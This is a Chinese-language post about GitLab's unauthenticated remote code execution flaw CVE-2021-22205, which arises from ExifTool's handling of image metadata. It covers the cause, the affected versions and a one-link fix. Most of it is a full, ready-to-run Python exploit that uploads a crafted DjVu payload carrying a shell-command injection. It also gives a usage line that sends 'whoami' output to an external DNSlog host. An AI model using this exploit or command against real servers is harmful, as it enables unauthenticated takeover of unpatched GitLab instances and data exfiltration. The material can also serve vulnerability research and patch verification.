0x01 漏洞介绍&原理
GitLab 是由GitLab Inc.开发的一个用于仓库管理系统的开源项目,是一款Ruby开发的Git项目管理平台。由于在11.9以后的GitLab中,使用了图片处理工具ExifTool,而此图片处理工具又受到了漏洞CVE-2021-22204的影响:
漏洞触发ExifTool功能处,ExifTool是用于从图像中移除元数据的开源工具,在解析上传图像中的元数据时,并没有完全解析某些元数据,导致攻击者上传带有恶意元数据的图片,从而导致远程命令执行。
攻击者可以通过一个存在未授权的接口,上传一张恶意构造的图片,进而导致该漏洞在无需进行身份验证的情况下即可进行RCE
0x02 影响版本
1 2 3
| Gitlab CE/EE < 13.10.3 Gitlab CE/EE < 13.9.6 Gitlab CE/EE < 13.8.8
|
0x03 漏洞检测
主页
1
| http://127.0.0.1/users/sign_in
|

EXP代码贴最后,直接运行
1
| python3 CVE-2021-22205.py -u http://12.0.0.1:8080 -c "curl \`whoami\`.7kwtfs.dnslog.cn"
|
我用的是DNSlog探测的,纯内网环境也可以反弹到自己的http服务测试

0x04 修复建议
1
| https://about.gitlab.com/update/
|
EXP代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| import sys import requests import argparse from bs4 import BeautifulSoup
requests.packages.urllib3.disable_warnings()
def title(): print(''' GitLab < 13.10.3 RCE python3 CVE-2021-22205.py -u target_url -c command ''')
def exp(target_url,command): session = requests.Session() try: req_token = session.get(target_url.strip("/") + "/users/sign_in", verify=False) soup = BeautifulSoup(req_token.text, features="lxml") token = soup.findAll('meta')[16].get("content") data = "\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.jpg\"\r\nContent-Type: image/jpeg\r\n\r\nAT&TFORM\x00\x00\x03\xafDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\x00\x00\xac\xff\xff\xde\xbf\x99 !\xc8\x91N\xeb\x0c\x07\x1f\xd2\xda\x88\xe8k\xe6D\x0f,q\x02\xeeI\xd3n\x95\xbd\xa2\xc3\"?FORM\x00\x00\x00^DJVUINFO\x00\x00\x00\n\x00\x08\x00\x08\x18\x00d\x00\x16\x00INCL\x00\x00\x00\x0fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\x00\x08\x00\x08\x8a\xe6\xe1\xb17\xd9*\x89\x00BG44\x00\x00\x00\x04\x01\x0f\xf9\x9fBG44\x00\x00\x00\x02\x02\nFORM\x00\x00\x03\x07DJVIANTa\x00\x00\x01P(metadata\n\t(Copyright \"\\\n\" . qx{"+ command +"} . \\\n\" b \") ) \n\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5--\r\n\r\n" headers = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36", "Connection": "close", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5", "X-CSRF-Token": f"{token}", "Accept-Encoding": "gzip, deflate"} flag = 'Failed to process image' req_exp = session.post(target_url.strip("/") + "/uploads/user", data=data, headers=headers, verify=False) if flag in req_exp.text: print("{} 存在漏洞,CMD执行成功".format(target_url)) else: print("{} 不存在漏洞".format(target_url)) except Exception as e: print(e)
def format_url(url): try: if url[:4] != "http": url = "https://" + url url = url.strip() return url except Exception as e: print('URL.error{0}'.format(url))
def run(): title() parser = argparse.ArgumentParser() parser.add_argument('-u', '--url', type=str, help='url') parser.add_argument('-c', '--command', type=str, help='cmd') args = parser.parse_args() target_url = args.url command = args.command
if target_url != None and command != None: exp(target_url,command) else: sys.exit(0)
if __name__ == '__main__': run()
|